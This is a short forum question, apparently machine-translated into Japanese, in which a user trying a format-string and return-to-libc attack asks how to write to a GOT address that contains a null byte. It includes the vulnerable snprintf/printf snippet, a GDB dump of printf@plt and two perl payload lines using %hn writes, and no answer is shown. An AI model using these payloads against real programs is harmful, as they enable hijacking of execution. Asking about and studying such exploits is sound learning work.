4

libc フォーマット文字列への復帰攻撃を実行しようとしていますが、書き込みたいアドレス (0x0804a000) にヌル バイトが含まれています!! フォーマット文字列を snprintf に読み込む必要があるため、null バイトが原因で誤動作し、セグメンテーション違反がランダムに発生します。

buf[70];
snprintf(buf, 80, argv[1]);
printf(buf);

printf@plt の GDB ダンプは次のとおりです。

(gdb) disassem 0x080483c0
Dump of assembler code for function printf@plt:
0x080483c0 <+0>:    jmp    *0x804a000
0x080483c6 <+6>:    push   $0x0
0x080483cb <+11>:   jmp    0x80483b0
End of assembler dump.

誰にもアイデアはありますか?

私の現在の方法は、このように実行しています

./program `perl -e 'print "sh;#\x00\xa0\x04\x08%12345x%10$hn"'`

しかしヌルバイトがあります。私も試してみました

./program `perl -e 'print "sh;#\xff\x9f\x04\x08\x00\xa0\x04\x08%12345x%10$hn%12345x%11$hn"'`

しかし、前のアドレスに0x0804a000はグローバル オフセット テーブルがあるため、snprintf は、それを呼び出す to 関数を返す前に Segfault を実行します。

4

1 に答える 1